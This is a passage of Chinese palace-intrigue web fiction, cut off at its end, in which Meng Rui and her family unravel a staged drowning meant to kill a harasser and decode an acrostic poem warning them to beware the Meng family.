“就是永安伯世子秦仲棋,女儿与他是在青城郡主的雅集上相识的,他没有走仕途,而是在京中经营了不少产业,对京中各家的情况很是了解,我们打过些交道。”
“永安伯府?”孟天摸着下巴想了想,“我记得他家老夫人不错,是个不拘泥于规矩的爽快人,可惜已经不在了。”
“嗯,永安伯府近些年也有点没落,不然以秦世子的聪明劲儿,他未必不能走仕途。”
孟蕊客观地评价,略带着些惋惜。
京中这些袭爵世家高门,要想持续家族的荣耀,子孙入仕,是最稳妥的路。
而且世家公子想要做官,不是只有科考一条路,也可通过举荐等方式。
孟蕊听说,永安伯府这些年情况不太好,伯府老夫人病逝后,二房、三房闹着分了家,拿走了财产,把大半的债务留给了秦仲棋所在的大房。
秦仲棋的父亲永安伯,常年卧床养病,不能管事,一大家子的事,都落在了秦仲棋肩上。
不然,堂堂伯府世子,也不会完全醉心于商贾之术,虽然他看起来,挺沉迷其中的。
“永安伯府也没落了啊。”
孟天咂了咂嘴,突然语出惊人。
“蕊儿你觉得秦仲棋怎么样?他会愿意给你入赘吗?”
“啊?”孟蕊愕然,这才哪儿到哪儿。
“娘亲,我与秦世子只是有共同爱好的朋友,偶尔讨论些经商的消息,没有男女之情。”
孟蕊无奈地解释,努力把话题扭转回来。
“您还是给我说说,纪小姐落水,到底是怎么回事吧。”
“不好意思啊,娘亲听你总说秦世子,以为你对人家有点那方面的意思。”
孟天伸手摸了摸孟蕊的发顶,笑道:
“那还是说纪华筠落水一事,蕊儿你的推论有一定道理,不过娘亲这里,探知到了更多信息。”
孟天压低了声音,高深莫测地说:
“我若是告诉你,纪华筠,她没有溺水呢?”
“她没有溺水?!”孟蕊惊呼,“怎么会?”
她亲眼看到纪华筠从湖里被救出来时,已经昏迷,后来吐出了好几口水,才转醒。
“她不但没有溺水,很可能还会凫水。”
孟天一本正经起来。
“我运用轻功,飞跃到湖面之上时,看到的纪华筠,虽双手在水面上扑腾,但也看到,她的双脚在水中有规律地压水,使她可以浮在水面,不至于沉入湖中。”
孟蕊更惊讶了,“所以您的意思是,纪华筠她会水,但在湖中假装溺水?为什么?”
既然会水,自己游回岸边便是,为何在湖中扑腾等待别人救?
“不仅如此,我将她救上岸时,摸过她的脉,脉象强劲有力,有真气游走,是典型的习武之人的脉象。”
孟天眉眼带笑,兴致盎然地说。
“她不但没有溺水昏迷,还会武功,你觉得她那样做,是为了什么?”
第167章 原本计划
“为了什么……”
一时间,孟蕊被这些令人诧异的消息,给说懵了。
纪华筠,看起来娇娇柔柔的侯门贵女,是个习武之人。
这可以理解,因为她的父亲永宁侯纪恺,就是武将出身,她跟随习武强身,并不奇怪。
怪就怪在,她今日这番古怪的行为上。
身体强健又会凫水的纪华筠,被丫鬟碧莲推入湖中后,第一反应不是游回岸边,而是在湖中,装作溺水的样子。
孟蕊将自己代入纪华筠的视角,试图理解她这样做的原因。
纪华筠是侯府嫡女,身份尊贵,却因父亲欠人恩情,有时不得不面对来骚扰她的罗杰裕。
罗杰裕文不成,武不就,纪华筠根本看不上他,可因为罗杰裕是恩人之子,所以纪华筠不能打骂,最多只能驱赶,说不定还要被罗杰裕去永宁侯面前告状,让纪华筠挨父亲的训斥。
这样的日子,令纪华筠厌烦。
她虽被母亲娇养,但也是武将的女儿,自小习武,不是懦弱的性子。
当她被丫鬟碧莲推入湖中时,本可以自己游回岸边,正要往回游时,她看到了向她跑来的罗杰裕,然后突然决定在湖中装作溺水的样子……
孟蕊倒吸一口凉气,震惊地看向孟天。
“纪小姐她不会是……”
孟天眼神鼓励,“你认为她想要做什么?大胆说出来。”
孟蕊觉得自己这个猜想,太过惊悚。
但将所有信息都汇总在一起,这是可能性最大的答案。
人被逼到一定地步,是会不管不顾的。
就像前世最后的孟蕊,眼见追求的自由无望,待如亲妹的翠柳身死,每天还要忍受厉青鸿那个混蛋的亲近,简直生不如死。
她心如死灰,自己活不活已经无所谓,只想把厉青鸿杀了报仇!
所以她为了引诱厉青鸿饮下毒酒,自己也喝了……
纪华筠,在湖中做出溺水的假象,就是为了引诱罗杰裕前来。
她要杀了他!
纪华筠要趁罗杰裕游入湖中救她时,把罗杰裕按入湖中溺毙!
罗杰裕自小病弱,不能习武,身材也清瘦,会武功的纪华筠想要在湖中杀了他,不是件太难的事。
“纪华筠她……难道是要在湖中……溺毙罗杰裕?”
孟蕊难以置信地望着孟天,艰难地说出了这句猜想。
“可是她这样做,岂不是会被围观的小姐和丫鬟都看到?”
“如果这几名围观者,从一开始,就是站在纪华筠一边的呢?”
孟天再次语出惊人。
“只要她们一致证明,罗杰裕自不量力,跳入湖中救人,体力不支,而淹死湖中,听起来并无不妥。
我在检查纪华筠的身体状况时,听到了那几个小姑娘商量的声音,她们声音很小,但我耳力好,全都听到了,她们和纪华筠就是一伙的。
还有奋力阻拦罗杰裕下水的赵雅娴,她当时的反应,有些过激,也不合常理。”
孟蕊恍然大悟,接着孟天的话说:
“是啊,看到好友落水,性命堪忧,赵雅娴对罗杰裕的阻拦,太过坚决,就好像她笃定纪华筠不会有事一样。
而且,永宁侯是武将出身,家中没有那么看重女子名节,当时在场的只有一起的几位小姐丫鬟,这事只要隐瞒得好,对纪华筠没有太大影响,相比之下,纪华筠的性命重要得多。
赵雅娴不是真的担心纪华筠的名节,而是在阻止纪华筠杀人!”
就在她不经意的时候,差点目睹杀人现场?
孟蕊感到背脊发冷,不自觉地用双手环抱住自己。
“这就害怕了?”
孟天调了个方向,坐到孟蕊身边,搂住女儿的肩。
“蕊儿以后不是还要去闯荡武林吗?武林中的腥风血雨,可比这恐怖多了。”
“我不是害怕杀人。”孟蕊往娘亲温暖的怀抱里拱了拱。
前世,她跟随厉青鸿,见过尸横遍野的疆场,为活命,她了结过企图对她不轨的匪徒。
她的手上沾染过鲜血,并不为此害怕。
此刻感到不适,是因为从纪华筠的决绝中,感受到类似她前世那种绝望、无助的痛苦。
纪华筠可以把罗杰裕对她的骚扰,告知父母,让永宁侯夫妇去解决,可她却选择以身为饵,下手即死,其中原因,又是什么呢?
“我只是觉得,她本不必如此。”
孟蕊沉重地叹了一口气。
“能让她瞒着父母,下此狠手的,大概是有什么不为人知的隐情……”
孟天拍了拍女儿的背,安慰道:
“这些只是我们的推测,不用想太多,你娘我今日冲过去,把纪华筠救了起来,直接打断了她们的计划,罗杰裕没被纪华筠杀死,也算是日行一善?”
“应该算吧……”
孟蕊不置可否,想着另一种可能情况。
“罗杰裕若是死在宫中御花园的湖中,永宁侯少不了麻烦,太后寿宴遇上死人,曹太后肯定不高兴……等等!”
脑中灵光一闪,孟蕊从娘亲的怀里坐起来,皱眉道:
“纪华筠若是要用此计杀人,在自己府中实施岂不是更好把控?她为何偏偏要选在宫中御花园?”
孟天也逐渐明白过来,“你是说,纪华筠是故意的,她要罗杰裕在太后寿宴当日,死在宫中,以此招来曹太后对永宁侯府的愤怒,她将永宁侯府也算了进去,抑或是,她在报复她的父母?”
“很有这种可能。”孟蕊凝眉道。
不然,纪华筠为何要选在皇宫动手?
前世在安乐侯府中忍受折磨时,孟蕊有时会幻想,要是皇帝心血来潮,到安乐侯府做客,她就拼死刺杀皇帝,无论能不能成,都一口咬定是安乐侯指使,给安乐侯府安上谋害皇帝的大罪,让安乐侯府被株连九族。
当然,这只是她的想象,但与纪华筠的计策,有异曲同工之妙。
“哈哈哈……”孟天忽然开心地大笑,“这纪家小姑娘,厉害呀!”
孟蕊一脸复杂地看着她娘,“娘亲,这不是什么好事吧?您不要笑那么大声。”
“怎么不是好事?”
孟天收起小声,但脸上依然带着兴奋的快意。
“这京城里,终于不再是墨守成规的一潭死水了,勇敢的姑娘们团结一致,多令人期待呀!”
第168章 诗中暗语
回到谢府时,已临近傍晚。
醉酒后又被点了睡穴的谢清源,被孟天解了穴道叫醒,给他灌了一碗醒酒汤后,让人扶进卧房休息。
饭厅里,李管家已经让厨房备好了一大桌丰盛的饭菜。
孟天一边大快朵颐,一边夸奖李管家的贴心。
“阿忠,你真懂我,宫里那点东西,摆着好看,哪里能填饱肚子?被那个醉鬼耽误了时辰出宫,我都饿得前胸贴后背了。”
被夸的李管家十分得意,“宫里的菜色,几十年都是那老几样,分量也不多,我就知道夫人您吃不饱,早早就让厨房备着饭菜了,不过您们确实回来得有些晚,这炖肉用小火煨着,都有些炖烂了。”
“没事儿,炖耙了更好吃。”
孟天当即夹了一块油滋滋的软烂炖肉,放入嘴里,享受得眯起了眼。
“还不是怪谢清源,我一没注意,他就和人拼酒,一个人对打人家一群武将,能耐得他。”
孟蕊坐在孟天旁边的位置,听到娘亲吐槽爹爹,已经见怪不怪。
她还在想着纪华筠落水的事,没什么胃口,陪着娘亲有一搭没一搭地挑着些清淡菜肴吃。
孟瑾没有吃菜,他似乎很渴,一直在喝水,一连喝完两杯茶水,又续了一杯后,接上孟天的话。
“母亲,父亲与纪大人他们喝酒,是为了与兵部拉近关系,在场一起喝酒的武官们,都在兵部任职,父亲这么做,也是为了二弟以后的路好走些。”
孟天停下筷子,看向孟瑾,脸色变了变,“阿瑜的事,是你爹去和陛下说的?”
“陛下日理万机,若不是父亲上心,陛下应是想不到那里去。”
孟瑾平静道,观察着孟天的表情继续说。
“父亲很关心二弟,每五日就有南边传来的书信,汇报二弟的情况,一切都好,母亲可以放心。”
“知道了,阿瑾你别光喝水,也吃点儿啊。”
孟天眉眼微垂,招呼了句孟蕊和孟瑾吃菜,就没再说什么,举起筷子继续吃。
孟蕊反应过来,今日在未央宫的偏僻宫苑里,陛下说要把二哥孟瑜调回京中兵部任职,是她爹爹去向陛下请求的。
而爹爹喝醉酒,也是为了与兵部尚书纪大人他们拉近关系,为二哥以后的前程铺路。
爹爹默默地为二哥做了这许多事,娘亲会不会稍微原谅一点爹爹过去的错误呢?
孟蕊不动声色地看向娘亲,嗯……娘亲只是沉默用膳,神色淡定,并无多少变化,她看不太明白。
孟瑾也没再说话,放下杯盏,拿起筷子,开始用膳。
晚膳后,孟天说要去看看谢清源,站起身离开了饭厅。
孟蕊和孟瑾目送她离开后,兄妹俩移步花厅,坐在一起说话。
孟蕊将她今日在慈宁宫中的见闻和遭遇,以及离宫前遇到安乐侯父子的事,细细说给孟瑾听。
至于纪华筠落水一事,和在未央宫遇到陛下的事,孟蕊遵照娘亲的嘱咐保密,没有告诉孟瑾。
“大哥,你说二皇子和三皇子,他们谁的赢面更大些?”
孟蕊想到安乐侯父子的丑恶嘴脸,觉得他们支持的三皇子绝不能上位。
可是二皇子上位就好了吗?
孟蕊又想到二皇子的生母淑妃,表面客气有礼,温婉无害,但在慈宁宫暗地里指使人针对她和娘亲,实在很难说好。
孟瑾瞧着孟蕊纠结不已的小表情,笑道:
“妹妹开始关心朝政大事了,说说看,你支持谁?”
“我谁也不想支持。”孟蕊实话实说,“他们两个半斤八两,谁上都对咱们家不好。”
“陛下的皇子又不止他们两个,为什么只在他们之中选呢?”孟瑾明知故问。
孟蕊叹了口气,“不然还能选谁?四皇子没有强大的母家,今日又被陛下训斥,更不会有大臣支持他,六皇子年纪太小,抢不过前面的兄长。”
孟瑾宠溺地拍了拍她的脑袋,“不要为了还没有发生的事忧虑,当今陛下正值壮年,身强体健,再撑个一二十年都没有问题,说不定到时候,他又多了几个儿子呢?”
孟蕊抬眼望向孟瑾,觉得她哥说得有一定道理。
前世,直到孟蕊自戕而死时,都是庆明帝当政,不过并没有生出新的皇子。
当时京城庆明帝病重的消息传到北地,厉青鸿高兴地开始练兵。
孟蕊那时听厉青鸿吹嘘过,庆明帝没立太子,二皇子、三皇子斗得厉害,他准备隔山观虎斗,在二皇子和三皇子斗得两败俱伤时,举兵攻入京城,来个黄雀在后,为他的祖父和妹妹报仇。
等等,祖父和妹妹?
厉青鸿那时有提过他祖父吗?孟蕊有点不太确定。
翠柳被厉青鸿害死后,孟蕊过得浑浑噩噩,许多记忆都不是很清晰。
厉青鸿的祖父厉老将军,不是在京城伤重病逝的吗?厉青鸿要报哪门子的仇?
孟蕊想不明白,也许是她记错了?
她摇了摇头,不再去想前世不愉快的回忆。
见孟蕊脸色不佳,孟瑾关心地问:“怎么了?身子不舒服吗?”
“大哥,我没事,只是想起了一件怪事。”
孟蕊对孟瑾笑了笑,从袖中拿出那张吴宁清塞给她的纸条。
“从慈宁宫出来后,在去往紫宸殿的路上,吴小姐,就是吴贵妃的侄女吴宁清,她特意走到我身边,悄悄把这张纸条给了我,麻烦大哥帮我看看。”
孟蕊将纸条放在孟瑾面前的桌上,一首五言小诗展示在眼前。
晓来花影重,
芳馨帘风动。
晴日孟春里,
忙计耕稼垄。
孟瑾看了一眼,便笑了,“以妹妹之才学,想必早已解开这首诗中藏着的暗语了。”
“解是解开了,但总觉得不太对劲。”
孟蕊被说中,也没藏着掖着,直言道。
“这是一首藏字诗,吴宁清把想要传递的消息,藏在第一句的第一个字,第二句的第二个字,以此类推,可以得出‘晓、馨、孟、稼’四个字。”
孟蕊的手指斜着滑过诗句,一一指过那四个字。
“谐音过来就是:小心孟家!”
诗句藏着的暗语并不难猜,孟蕊很快就解开了,但解开后得到的这句话,更令她困惑。
“大哥,你说吴宁清是什么意思?她会不会把纸条给错人了?
小心孟家?可是我们不就姓孟吗?要我们小心自己家?
如果说的不是我们家,京中也没有哪个有名的家族,是姓孟的呀?”
第169章 小心孟家
“小妹,你一下问这么多问题,为兄要先回答你哪一个呢?”
孟瑾眼角微微挑起,带着几分调侃。
“啊,抱歉。”孟蕊不好意思起来,“我有点激动了。”
“蕊儿,你永远不用对我道歉。”孟瑾眼神温柔得像要滴出水来。
孟蕊对大哥突然的温柔有些无所适从,不知该如何回应时,孟瑾再次开口。
“小妹你解读的没有错,这首诗暗含的消息,是‘小心孟家’没错。”
孟瑾的目光再次扫过纸条上的诗句。
“吴宁清是京中有名的才女,有真才实学,且言行谨慎,她既然特意来找你,塞给你这首诗,应该不至于给错人。”
他指节分明的手指轻叩桌面,深邃的眸中浮现一抹了然。
“至于孟家具体所指为何,是个需要探究的问题,我认为,不必局限在京中。”
“不在京中?”孟蕊琢磨道,“那范围可太大了。”
大齐幅员辽阔,有名的孟姓人家不知凡几,吴宁清只说孟家,却没有给具体方向,这要如何找?
“大哥,你说,吴宁清为何会突然塞给我,这种藏着警示性暗语的诗句呢?她是在提醒我注意孟家带来的危险?”
孟蕊百思不得其解,她与吴宁清不算交好,吴宁清为什么要这样做?
前世,孟蕊与吴宁清只在一些宴会上见过面,吴宁清自傲清高,嫌弃孟蕊做生意满身铜臭,历来是不与她来往的。
重生之后,孟蕊与吴宁清的两次交集,一是在青城郡主的雅集上,因为画作得好,吴宁清夸过她,二是在京郊的锦溪庄,她们说过几句话,一起遭遇过刺客……
“该不会……是因为那件事吧?”
孟蕊忽然想起,在锦溪庄时,刺客要去抓吴宁清时,孟蕊拿起酒坛,砸了刺客,为吴宁清争取到了逃跑时间。
吴宁清获救后,好像说过,有机会,一定报答孟蕊。
这次提醒,难道就是吴宁清的报答?
孟瑾颇感兴趣地问:“你想到什么了?”
“嗯……”孟蕊心情复杂,将锦溪庄帮助吴宁清的这段故事,给孟瑾讲了一遍。
孟瑾听完,神情严肃了几分,“看来,吴宁清有可能得知了什么消息,为了报答你的救命之恩,特意向你预警。”
“既然是预警,就不能把消息说得清楚一点吗?”孟蕊叹气,“孟家到底是指哪个孟家?”
在宫宴看过纸条后,孟蕊心中就生出许多疑问,但碍于在宫宴之上,又出了五公主求赐婚的事,许多人都明里暗里关注着他们一家。
孟蕊不好有大动作,只暗地让吟夏和吟秋去打听吴宁清在哪儿,却听说她母亲吴夫人身体不适,吴宁清陪着吴夫人先行出宫回府了。
后来,孟天被封二品诰命夫人,孟蕊被封瑞嘉县主,主动过来与她们打招呼的夫人小姐们太多,让她们疲于应付。
孟天找了个更衣的理由,带着孟蕊去了僻静的未央宫……
“蕊儿,你当时拿到纸条,没有直接问吴宁清吗?”孟瑾问。
“我也想啊,但是吴宁清刚把纸条塞给我,就有丫鬟来叫她,说是吴夫人崴了脚,让她赶紧过去。”
孟蕊回忆着当时的场景,遗憾地说。
“后来,我想去找她,但在紫宸殿里没找见她,又让吟夏和吟秋去打听,说是吴宁清没有参加宫宴,直接陪着吴夫人出宫了。”
孟蕊看着大哥严肃的表情,更加意识到这件事不简单,提议道:
“要不,我明日给吴家递拜帖,邀吴宁清见面问清楚,可以吗?”
“先缓缓,暂且不要打草惊蛇。”
孟瑾嘴唇轻抿,似乎在权衡着什么,眼眸深沉。
“蕊儿,叫走吴宁清的那个丫鬟,你确定是吴宁清的丫鬟?”
“应该是吧……”孟蕊不明所以,“如果不是,吴宁清怎会跟她离开。”
孟蕊和吴宁清不熟,不会专门去记吴宁清的丫鬟是谁,不过当时那个匆匆跑来的丫鬟看着挺眼熟的,或许是之前在雅集或是锦溪庄见过。
“那丫鬟的脸,我还记得,要不,我把她画下来?”
孟瑾觉得可行,让人送来笔墨纸砚。
很快,一名身着宫女服制的年轻女子,在孟蕊的笔尖勾勒下,跃然纸上。
“从她穿的这身衣服来看,应该是在吴贵妃宫里当差的二等宫女。”孟瑾确定道。
孟蕊诧异,“她是宫女?不是吴家的丫鬟?”
“吴宁清是吴家嫡女,时常进宫陪伴吴贵妃左右,她在宫中住的时间长,吴贵妃把自己宫里的宫女拨给吴宁清用,也是常事。”
孟瑾的眉头微微皱起,盯着画上宫女的眼神探究,过了许久,才对孟蕊说。
“蕊儿说得很对,这件事确实古怪,有许多不合理之处,我一会儿便派人去查。”
得到大哥的肯定,孟蕊心中掀起几分激动,她放下笔,期待地问:
“那大哥你要派人去查的话,是不是可以再多查一件事呢?”
“和为兄客气什么?你只管说。”孟瑾眉目舒展,笑着鼓励。
孟蕊想到还在醉酒休息的爹爹,不知什么时候能醒,她已经等不及想知道姜瑶的消息了。
“大哥,我想知道,姜瑶现在的伤势如何了?她近期在做什么?
娘亲说,姜瑶的伤,应该差不多好了,但我今日遇到的安乐侯却说,姜瑶伤得很重,伤还没好,就连侯夫人沈氏,也留在府中照顾姜瑶。”
孟蕊心中总感到丝丝缕缕的不安。
“她这段时间,太安静了,这不是她的性子,我担心她有小动作,所以想麻烦大哥帮忙查一查她。”
孟蕊了解姜瑶的脾性,那是个不服输的,一两次失败不会让她放弃目标,更不会自暴自弃,就怕姜瑶默不作声,又在背后策划什么阴谋,准备要对付孟蕊。
孟瑾安抚地拍了拍孟蕊的肩,嘴角带着一丝宠溺的笑意,道:
“别太紧张,父亲在安乐侯府安插了暗桩,近来回禀的消息一切正常,你若实在担心,为兄让人去详查姜瑶的近况,最迟明日就会有消息。”
“嗯,多谢大哥!”孟蕊笑着道谢。
“傻丫头。”孟瑾嘴角微微上扬,“都说了我们是一家人,你用不着与我客气。”
第170章 姓孟的仇家
第二日一早,孟蕊按照习惯,来到练武场习武,却不见每日指导陪伴她的娘亲。
李管家贼兮兮地站在练武场门口,兴冲冲地告诉孟蕊:
“小姐,好消息,老爷昨晚,终于回到正房歇息了,且到现在,都还没被夫人赶出来哦!”
孟蕊听了,也是一喜,“所以,娘亲和爹爹,是和好了吗?”
“那哪儿说得准呐,夫妻嘛,床头吵架床尾和。”
李管家头一扬,很懂地给孟蕊解释。
“但是他俩啊,从年轻到现在,在床头吵架,就能直接在床头打起来,和不和好的,随缘吧。”
孟蕊不由好奇地问:“李管家,你认识我爹娘多少年了?”
“哎呀,几十年有了,记不清咯。”李管家随口道。
“有这么多年啊。”孟蕊感叹着问,“那你知道,我爹娘他们,有没有什么姓孟的仇家吗?”
“姓孟?”李管家疑惑,“夫人不就姓孟?”
孟蕊解释,“我不是说我们家的人,是说其他姓孟的人,比如我爹在各地做生意,有没有结下什么姓孟的仇家?又或是我娘江湖上得罪的人里,有没有姓孟的?”
“这个嘛……”
李管家摸着下巴上的胡渣,皱眉思索了一会儿,突然审视地盯着孟蕊。
“小姐,你是不是听说了夫人小时候的事啊?夫人的伤疤,可千万不要提!”
娘亲小时候的伤疤?
孟蕊的秀眉随李管家的眉毛一样皱起,忽然灵光一闪。
她娘亲小时候,是住在孟家堡。
孟家堡!也是姓“孟”!
“李管家,我娘亲她,与孟家堡的亲人,关系不好吗?”孟蕊怀疑地问。
李管家摆了摆手,“我打不过夫人,我不知道,你别问我。”
“李管家,你就告诉我吧,我不会和娘亲说的。”孟蕊期待地望着他。
李管家抿了抿唇,眼珠转了转,还是摇头。
“小姐,你今日就自己乖乖练武,啊?千万不要去打扰老爷和夫人安寝,我得赶紧去厨房看看,老爷身子骨弱,得叫厨房炖些药膳,给他好好补补。”
说完,李管家风一般地冲出练武场,转眼没了人影。
孟蕊失望地回过头,李管家不乐意继续说,她也没办法。
可是孟家堡……会是吴宁清要她小心的那个孟家吗?
孟蕊不愿相信地摇了摇头,那是她娘亲孟天的娘家,是她的外祖家啊,爹爹每年还会去探望外祖父,听说关系处得不错,有什么理由要害他们呢?
现在只是空想,没有任何证据,孟蕊压下心中的怀疑和困惑,自顾自地开始练武。
接近午时,正院传过话来,说老爷和夫人还没起,午膳不必等他们。
孟蕊从练武场回去换过衣裳,去饭厅和孟瑾一起用午膳。
吃得差不多时,孟蕊忽然想起来,她还有件事,昨日忘记告诉孟瑾。
“大哥,我昨日去偏殿找你时,遇到了秦世子,他在记录你与贺大人的对谈内容,想要拿出去售卖,我觉得不妥,建议他先拿给你们审核,得到你和贺大人同意才行,不知道他有没有和你说?”
孟瑾放下筷子,看着孟蕊的眼神温柔,“蕊儿很关心为兄?”
“你是我大哥,我当然关心,我觉得,秦世子所为实在不妥。”
孟蕊表情认真,开始细数秦仲棋的行为,可能带来的负面后果。
“他记录的内容也不知对不对,若是被改动,或是有心之人利用来做手脚,于大哥的名声有碍,最好还是让他不要出售。”
“蕊儿说得有理。”
孟瑾笑得如沐春风,眼底的光柔和而深邃。
“不用担心,贺大人已经严词拒绝他,私下的言论探讨,不能做生意用途,他应该已经放弃了。”
孟蕊放下心来,但又觉得有点奇怪,“秦世子直接去找贺大人说的?”
从昨日秦仲棋的表情看起来,他很不愿意与贺维钦有牵扯的样子。
“那倒没有。”
孟瑾笑着解释。
“对谈结束时,贺大人看到正在奋笔疾书的秦世子,觉得不可思议,过去看了秦世子的册子,言明不许秦世子把记录的内容发布出去。
秦世子有过前科,他以前派人搜罗了贺大人的大量言论,制成书册《礼教八十八篇》,卖得很好,等贺大人发现书是打着他的名义卖出,严令他停止售卖时,秦世子已经赚得盆满钵满了。”
孟蕊不由诧异,“原来《礼教八十八篇》是贺大人的言论啊,有一阵特别有名,安乐侯还花高价,给姜铭昊买过一本。”
孟蕊惊讶之余,商人的头脑运转,开始计算起来。
她记得《礼教八十八篇》出售时,以科考必备的噱头,吸引了大批读书人购买,当时一本就要一两银子。
后来此书供不应求,书的价格水涨船高,安乐侯买的那本花了足足二十两银子。
这么算起来,秦仲棋在书肆生意这块,大赚特赚啊!
后来这本书停售,之前的书册更是涨价不断。
“秦世子这算是得罪了贺大人吧?”
孟蕊不解地问。
“贺大人没找秦世子的麻烦吗?”
孟瑾笑着摇头,“贺大人与秦世子的父亲永安伯,是二十多年前的同科进士,当年贺大人受过永安伯恩惠,看在永安伯的面子上,贺大人只要求秦世子停售书册,没有继续追究。”
“原来如此。”孟蕊颇为唏嘘,“没想到贺大人和秦世子还有这般渊源。”
“好了,不说他们了,吴宁清的消息到了,你想现在看吗?”
孟瑾从袖中拿出一个信封,在孟蕊眼前晃了晃。
“我要!”孟蕊不假思索道。
孟蕊一目十行地看完信封里的消息,脸上的表情越来越惊讶。
原来,吴宁清在太后寿宴前两天,就入宫陪伴吴贵妃了。
但昨日,吴宁清与吴夫人一同出宫后,并没有回到吴家,目前行踪未知。
“我们的人查了宫门出入记录,确定有吴宁清的出宫记录。”
孟瑾解释道。
“但安排在吴家的暗桩确定,昨日从宫中提前回来的,只有吴夫人一人,下人们只当是吴宁清还在宫中,并未在意。”
孟蕊无法置信,“可是,吴宁清不在宫中,又没有归家,她的父母亲都不过问?”
她眸光一凛,反应过来。
“也就是说,这件事,吴尚书和吴夫人是知道内情的,对吗?”
第171章 是孟家堡?
孟瑾眼眸微垂,点头道:
“今日一早,吴家对外称,吴夫人犯了腿疾,吴宁清在家中为母侍疾,以此推掉了近半个月的所有邀约帖子。”
“他们把吴宁清关在家里?”
孟蕊蹙眉摇头,立刻否定。
“不对,吴宁清没有回吴府,她被藏在了外面?”
孟瑾赞同地补充:“应该是在出宫之后、回吴府之前的这段路途之中,吴宁清被带走藏了起来。”
“这么说,吴宁清现在应该没有危险,他们这样做,是不想让我们去找她?”
孟蕊稍稍安心,虎毒不食子,吴家应该不会拿吴宁清怎样。
孟瑾颔首,“是,我们去找她,反而会将她置于不利,不如暂且放一放。”
“不对啊,大哥,”孟蕊眉头拧紧,“当时在我面前,喊吴宁清离开的,是吴贵妃宫里的宫女,那此事是吴贵妃主谋?可是我觉得,吴贵妃并不想对付我们。”
孟蕊昨日见到的吴贵妃,一直在向她和娘亲示好,没有为难的意思,反而是淑妃和曹太后,不动声色地指使人,对她们发难。
“那名宫女,是吴贵妃宫里的二等宫女,在被调去伺候吴宁清之前,一直是照顾三皇子萧宇的。”
孟瑾不紧不慢地丢出更多消息。
“昨日吴夫人和吴宁清出宫后,三皇子的亲信也跟着出了宫。”
孟蕊双眸一亮,“是三皇子派那名宫女,来叫走了吴宁清?”
若不是吴贵妃,那么,只有三皇子,既能命令贵妃宫里的宫女做事,同时也能支使得动吴尚书和吴夫人。
“该不会,姜瑶也参与其中?”
孟蕊心跳加速,睁大双眼,一眨不眨地注视着孟瑾,等待对方回答。
三皇子和姜瑶的关系,已经抬到了明面上,三皇子帮姜瑶对付孟蕊,不是不可能。
“蕊儿真聪明!”
孟瑾轻轻揉了揉孟蕊的头,目含赞赏。
“安乐侯府的探子也传回消息,他们在外院已经三日没见过姜瑶了,而姜瑶所住的院子守卫森严,被三皇子的人围得铜墙铁桶一般,我们的人进不去,你看,这是不是也有古怪?”
“姜瑶,会不会已经不在安乐侯府了?”孟蕊突发奇想。
说完,她期待地望向孟瑾,等待大哥的点拨。
孟瑾眼神明亮,带着期许鼓励,“蕊儿继续,大胆说出你的推论。”
“大哥,我觉得,无论是安乐侯强调姜瑶受伤很重,还是三皇子的人严格把守姜瑶的院子,都是欲盖弥彰的行为,他们在掩盖姜瑶已经离开安乐侯府的事实。”
孟蕊越分析,越觉得自己的猜测有道理。
“吴宁清在宫里陪伴吴贵妃,也许是在三皇子那里听到了什么消息,嗯……很可能是他们要对付我的计划。
为了报那日之恩,吴宁清通过诗句给我传递消息,露出马脚,被三皇子发现。
三皇子派宫女找借口把吴宁清叫走后,在吴家的协助下,把她秘密藏了起来,不让我们有机会见到她。
而姜瑶,为了对付我的计划,已经离开安乐侯府,不知去向,她要去的地方,难道就是吴宁清要我小心的孟家?”
孟蕊满腹疑团,好在已经逐渐理出了头绪。
“他们越是隐瞒,越是说明,吴宁清传递的消息,非常重要。”
小心孟家……孟蕊在心中一遍遍默念。
她虽然对吴宁清不够熟悉,但知道吴宁清是吴家精心养育的才女,是按照未来太子妃、乃至皇后的标准培养,蕙质兰心,聪慧过人。
吴宁清通过那首五言诗传递的消息,必是能让孟蕊锁定那个她所指的孟家,而不是没有方向地大海捞针,难道说……
“大哥,吴宁清说要我小心的孟家,不会是……孟家堡吧?”
孟蕊迟疑不决地说出自己的猜测。
“吴宁清是个聪明人,她若真心传递消息,一定是有明确指向性的,能让我们一下想到的孟姓人家,除了我们自己,就是江湖名门‘孟家堡’了。”
渝州孟家堡,是孟天长大的地方,也是孟天的娘家。
十六年前,孟天带着一双儿女消失后,谢清源每年都会去孟家堡一趟,拜访岳父孟家堡堡主孟剑雨,询问妻子是否有回过孟家堡,或与孟家人联系,但皆无所获。
孟蕊原本以为,娘亲是为了躲避爹爹,才不与娘家联系。
但早晨从李管家嘴里套出的那些话,让孟蕊发觉,事实或许没那么简单,娘亲和孟家堡之间的关系,似乎并不和谐。
“可是,就算是这样,孟家堡也不该帮姜瑶来对付我呀?”孟蕊再次陷入苦恼。
按血缘关系,孟蕊是孟家堡堡主的外孙女,姜瑶是一个毫无关系的外人,孟天这些年没与孟家堡来往,姜瑶应该与孟家堡也没什么渊源才对。
“大哥,你觉得我说得对吗?”
孟蕊求助地望向孟瑾,伸手扯了扯孟瑾的衣袖。
“我说的这些,你是不是早就想到了?”
孟瑾垂眸看向孟蕊拉着他衣袖的手,敛眸含笑,“是,蕊儿所言,皆是我心中所想。”
“啊!姜瑶真要联合孟家堡对付我!”
孟蕊激动地站起来,大哥都这样说,那十有八九就是真的。
孟瑾淡定地拉着孟蕊坐下,“别紧张,这只是其中一种可能,前提是,吴宁清传递的消息可信。”
孟蕊愣了愣,逐渐明白了孟瑾的话。
“大哥你是说,吴宁清也可能和三皇子、姜瑶他们联手设局骗我,一张‘小心孟家’的纸条,想要离间我们和孟家堡的关系?”
孟瑾颔首道:“有多种可能,我们现在还没有得到足够多的可以判断真相的消息,稍安勿躁,再等等。”
对上大哥沉稳温润的脸庞,孟蕊急躁不安的心,逐渐平静下来,她正要应答时,瞧见娘亲迈着大步走了进来。
“咦?你们都在这儿,还有饭菜吃吗?”
孟天看了眼已经收拾干净,只摆了茶水点心的饭桌,失望地叹了口气。
谢清源追着进来,“娘子,你别急,我已经让厨房在做了,只需要等待一会儿,饭菜马上就到。”
“都怪你,磨磨蹭蹭,耽误我吃饭。”
孟天没好气地瞪了他一眼,拿起一块桂花糕,一边吃,一边问孟蕊。
“刚才在门口,听见你提到孟家堡,怎么样?想好要跟为娘一起去闯荡江湖了吗?”
第172章 差强人意
“闯荡江湖?”
孟蕊与孟瑾对视一眼,若无其事地问。
“我们要去孟家堡闯荡吗?”
孟天吃完一块桂花糕,又拿起一块绿豆糕,顺口回答:
